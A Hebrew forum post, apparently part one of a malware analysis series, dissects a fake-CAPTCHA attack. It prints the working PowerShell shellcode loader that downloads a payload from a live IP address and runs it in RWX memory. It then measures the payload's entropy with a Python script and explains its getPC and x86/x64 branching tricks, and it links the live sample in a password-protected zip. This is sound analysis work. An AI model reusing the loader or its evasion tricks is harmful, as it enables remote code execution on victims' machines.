דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. מדריכים - מחשבים וטכנולוגיה
  4. הסבר | מחקר על shellcode loader מאפס חלק א'

הסבר | מחקר על shellcode loader מאפס חלק א'

מתוזמן נעוץ נעול הועבר מדריכים - מחשבים וטכנולוגיה
1 פוסטים 1 כותבים 76 צפיות 4 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • מתכנת חובבמ מנותק
    מתכנת חובבמ מנותק
    מתכנת חובב
    מדריכים
    כתב נערך לאחרונה על ידי מתכנת חובב
    #1

    לפני החג נתקלתי בפוסט הזה שבו תוארה מתקפה מסוג fake capcha על אתר מסויים שבסופה גרמה להרצת קוד ה powershell הזה על מחשב הקורבן (שיניתי את שמות המשתנים למשהו קצת יותר קריא) הקרדיט על הקוד המקורי ל @cfopuser

    $payloadUrl = "http://158.94.208.104/x7GkP2mQ9zL4/my_l.bin"
    
    try {
        $webResponse = Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing -ErrorAction Stop
        $shellcodeBytes = $webResponse.Content
        $payloadSize = $shellcodeBytes.Length
    
        $winApiDefinitions = @"
    using System;
    using System.Runtime.InteropServices;
    
    public class Win32Api {
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr GetCurrentProcess();
    
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
    
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
    }
    "@
        Add-Type -TypeDefinition $winApiDefinitions
    
        $memCommit = 0x1000
        $memReserve = 0x2000
        $pageExecuteReadWrite = 0x40
    
        $allocatedMemory = [Win32Api]::VirtualAlloc([IntPtr]::Zero, $payloadSize, $memCommit -bor $memReserve, $pageExecuteReadWrite)
        
        if ($allocatedMemory -eq [IntPtr]::Zero) { throw "Alloc failed" }
    
        # 4. פריסת הפיילואוד בזיכרון
        [System.Runtime.InteropServices.Marshal]::Copy($shellcodeBytes, 0, $allocatedMemory, $payloadSize)
    
        # 5. הרצת הפיילואוד
        $threadId = 0
        $threadHandle = [Win32Api]::CreateThread([IntPtr]::Zero, 0, $allocatedMemory, [IntPtr]::Zero, 0, [ref]$threadId)
        
        if ($threadHandle -eq [IntPtr]::Zero) { throw "Thread failed" }
    
        # המתנה לסיום או פקיעת זמן
        [Win32Api]::WaitForSingleObject($threadHandle, 30000) | Out-Null
        
        Write-Host "done."
    }
    catch {
        exit 1
    }
    

    אפשר לראות שהקוד מוריד קובץ מהקישור הזה - http://158.94.208.104/x7GkP2mQ9zL4/my_l.bin
    מקצה זיכרון עם הרשאות RWX בגודל של ה payload ומריץ אותו כ thread חדש תחת powershell למשך 30 שניות
    הפעולה הזאת נחשבת לקצת "אלימה" - הקצאת מקום בזיכרון עם הרשאות כתיבה + ריצה בלי שהקוד שרץ בו מגובה לקובץ פיזי בדיסק היא פעולה שאמורה להיחסם על ידי EDR טוב אבל אולי היוצרים הסתמכו על זה שמכיוון שזה מגיע מ powershell שהיא תוכנה חתומה זה ירוץ בלי בעיות
    השלב הבא הוא אם כן לחקור את ה payload שיורד והורץ כרגע רק אקדים ואומר - מה שיורד הוא מעין wrapper מתוחכם מאוד ורב פעמי שתפקידו הוא לפרוס את הוירוס הסופי בזיכרון והריץ אותו
    מכיוון שה wrapper הזה מסועף ומתוחכם כל כך את הפוסט הזה נקדיש רק לו ובפוסט אחר נתמקד בקוד שהוא פורס
    מבחינה של הקובץ נראה שהוא בגודל של 53232 בתים או 0xD04A בהקסה - דצימלי (אני כותב את המספר מהזיכרון - רמז לכמות השעות שהעברתי על הקובץ הזה...)
    בשלב הראשון נבדוק את האנטרופיה של הקובץ
    למי שמעוניין - האלגוריתם שאיתו בדקתי מפורט בספויילר

    אנטרופיה לנתונים בינאריים כלשהם - בין אם זה קובץ דחוס מסמך טקסטואלי וכו' נהוג לבצע באמצעות אלגוריתם האנטרופיה של שאנון - קלוד שאנון היה מתמטיקאי אמריקאי שנחשב לאבי תורת האינפורמציה - נושא מתמטי שנמצא בשימוש רחב בעולם המחשוב והאלגוריתם שהוא פיתח מאפשר לציין את מידת האקראיות שבה נתון מסויים מתוך סדרה של נתונים יופיע
    האלגוריתם שלו מאוד מוכר והוא מחושב בצורת חלוקה של מספר הפעמים שנתון מסויים הופיע בסדרת נתונים חלקי אורך סדרת הנתונים ומכיוון שאנחנו עוסקים בנתונים שמופיעים כ 8 ביטים של מידע כל אחד הייצוג המספרי שתנפיק הפונקציה יהיה בין 0 ל 8 - log2 של מספר האפשרויות שהוא 256
    עד כאן ההסבר הכללי של האלגוריתם
    כשנבוא לחשב אלגוריתם של קובץ בצורה הפשוטה נספור כמה מופיע כל ערך לכל אורך הקובץ חלקי מספר הבתים בקובץ כפול log2 ונקבל ערך אחיד שמייצג את כל הקובץ
    אם נרצה - כמו כאן לבדוק את האנטרופיה לכל אורך הקובץ ברזולוציה גבוהה נוכל לקחת את הקובץ המקורי ולקרוא אותו בחלקים ולחשב אנטרופיה לכל חלק
    גודל החלק המינימלי יהיה אם כן 256 בתים אבל מסיבות שונות של עיוות בנתונים נהוג לקחת חלק גדול יותר - בדרך כלל 1024 בתים
    עכשיו ניתקל בבעיה נוספת - מה יקרה אם יהיה קטע מוצפן של 1024 בתים שמחציתו יהיה בסוף חלק אחד ומחציתו השניה בתחילת החלק הבא? האנטרופיה הגבוהה שלו תיטמע ותתמצע בתוך החלקים שהוא נמצא בהם
    לכן בסקריפט שאיתו בדקתי את האנטרופיה מימשתי את האלגוריתם הבא
    לוקחים חלק של 1024 בתים
    מחשבים לו את האנטרופיה
    קופצים קדימה 64 בתים
    לוקחים משם עוד 1024 בתים
    מחשבים להם וכן הלאה - כלומר הגושים הם של 1024 בתים אבל הקפיצה היא 64 בתים והחפיפה היא 960 בתים
    בצורה הזאת מקבלים תמונת אנטרופיה ברזולוציה גבוהה מאוד של הקובץ
    מצורף הקוד שהשתמשתי בו

    import math
    from collections import Counter
    
    def calculate_entropy(data_chunk):
    
        if not data_chunk:
            return 0
        
        entropy = 0
        length = len(data_chunk)
        byte_counts = Counter(data_chunk)
        
        for count in byte_counts.values():
            probability = count / length 
            entropy -= probability * math.log2(probability)
            
        return entropy
    
    def sliding_window_entropy(file_path, window_size=1024, step_size=64):
    
        with open(file_path, 'rb') as f:
            file_data = f.read()
            
        file_size = len(file_data)
        if file_size < window_size:
            return None, None
    
        positions = []
        entropies = []
        
        for i in range(0, file_size - window_size + 1, step_size):
            window = file_data[i:i + window_size]
            
            ent = calculate_entropy(window)
            positions.append(i)
            entropies.append(ent)
            
        return positions, entropies
    

    Figure_1.png
    אפשר לראות שהאנטרופיה של הקובץ בתחילתו גבוהה מאוד - באזור 7.75 ומעידה על מידע דחוס או מוצפן והחל מהאמצע היא צונחת לאיזורים שמאפיינים קוד רגיל - בין 5 ל 6
    קצת מוזר בהתחשב שהקוד ינסה לרוץ מההתחלה ואם היא מוצפנת אז מה ירוץ שם?
    פתחתי את הקובץ עם HxD והבנתי את הטריק
    cf5f38f2-e079-43b1-b67e-c5140b374aea-image.png
    הקובץ מתחיל עם פקודת call (ה opcode E8) למיקום שמרוחק 0x6DC0 בתים קדימה כלומר היסט 0x6DC5 מתחילת הקובץ
    אם נפרש את גודל הקפיצה למספר דצימלי רגיל נקבל 28,101 בתים - נתון שתואם לגודל הבלוק המוצפן שראינו בתמונה לעיל
    הווי אומר שיש פה קוד שכנראה מטפל בגוש המוצפן הזה וכנראה גם פורס אותו לזיכרון ומריץ אותו
    אז מה הטריק?
    כדי שהנוזקה תוכל בהמשך לגשת אל המקטע המוצפן ולעבוד עליו היא צריכה לדעת מה המיקום שלו בזיכרון - הרי היא רצה בתוך זיכרון של תהליך אחר שלא נשלט על ידה ולכן היא משתמשת בטריק שנקרא getPC (get program counter)
    במעבד ישנו אוגר שנקרא RIP (או EIP ב x86) שמחזיק את הכתובת בזיכרון של הפקודה הבאה שהמעבד צריך לבצע - במקרה שלנו זאת תהיה הכתובת של תחילת המידע המוצפן שאחרי פקודת ה call
    אין אפשרות לגשת לאוגר הזה ולקרוא אותו אבל במקרה שמבצעים קפיצה או קריאה לפרוצדורה מרוחקת הערך של האוגר נדחף למחסנית וכך אפשר לקרוא אותו מהמחסנית ולשמור אותו
    אם נדלג על כל המקטע המוצפן ונבדוק את הפקודות שם נוכל לראות את השמירה של הערך הזה
    להלן הצילום מ IDA
    3e287db4-51fd-49e3-a6de-ee3083d11e3f-image.png
    אפשר להתעלם ממשתני המחסנית - זאת שגיאה בפענוח של IDA
    בכל אופן אפשר לראות שהפקודה הראשונה מעתיקה את הערך הראשון במחסנית לאוגר RCX
    אחרי שהבנו את הקונספט הזה נוכל להתקדם
    מיד אחרי השמירה של הכתובת ב rcx נוכל לראות איפוס של האוגר eax באמצעות xor שלו עם עצמו (דרך קלה ומהירה לאפס ערך באוגר ששווה ל mov eax, 0)
    אחר כך נוכל לראות קפיצה מותנית מוזרה עם הפקודה JS
    JS היא פקודת קפיצה מותנית שתלויה בדגל הסימן - דגל שנדלק אם תוצאת החישוב האחרון כשנתייחס אליה כמספר מסומן תהיה שלילית (ביט ה MSB ידלק)
    שברתי קצת את הראש להבין מה הסיפור של הקפיצה הזאת - הרי קודם איפסנו את eax והתוצאה הייתה 0 - הווי אומר שדגל הסימן לא דולק והקפיצה לא תתבצע אז מה הרעיון כאן?
    כאן גיליתי טריק גאוני
    מפתח הנוזקה לא יודע אם מחשב הקורבן פועל בארכיטקטורת x64 או x86
    אם נבדוק את ה bytecodes של פקודת הקפיצה המותנית (הורדתי את ערך הדילוג) נראה שהיא נראית ככה

    48 0F 88 
    

    במעבדי x64 הכניסו את ה perfix (תחילית) 48 כדי לסמן שהפקודה הבאה משתמשת באוגרים של 64 סיביות בעוד שבמעבדי x86 הבית 48 מתפרש כ opcode בפני עצמו שמתורגם ל

    dec eax
    

    כלומר החסרה של 1 מהערך של האוגר eax
    כשמחסירים 1 מ 0 מקבלים 1- שמיוצג כ FFFF וכיוון שהוא מספר שלילי דגל הסימן ידלק והקפיצה תתבצע
    כלומר ב 9 בתים יוצר הנוזקה הכניס כאן לוגיקה שיודעת לברור בין קפיצה לקוד x86 (שנמצא בסוף ה payload) לבין המשך ריצה בפונקציות שמקודדות ל x64
    אחר כך בדקתי והתברר לי שזאת שיטה מוכרת יחסית ואחת מסדרה של שיטות דומות שמשתמשות בטריקים דומים למטרות שונות

    עד כאן לעכשיו - מאוחר יותר אפרסם פוסט שמתמקד בריצה של קוד הכלי עצמו - איך הוא מייבא פונקציות שנדרשות לו איך הוא מפענח את המקטע המוצפן ואיך הוא מיישם מנגנוני הגנה והתחמקות שונים
    למי שמעוניין לנתח את הכלי הזה - מצורף (כ zip כדי שהפורום לא יתוייג כזדוני - הסיסמה היא mitmachim)
    my_l_.zip

    צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

    תגובה 1 תגובה אחרונה
    16
    • מתכנת חובבמ מתכנת חובב התייחס לנושא זה

    • התחברות

    • אין לך חשבון עדיין? הרשמה

    • התחברו או הירשמו כדי לחפש.
    • פוסט ראשון
      פוסט אחרון
    0
    • חוקי הפורום
    • פופולרי
    • לא נפתר
    • משתמשים
    • חיפוש גוגל בפורום
    • צור קשר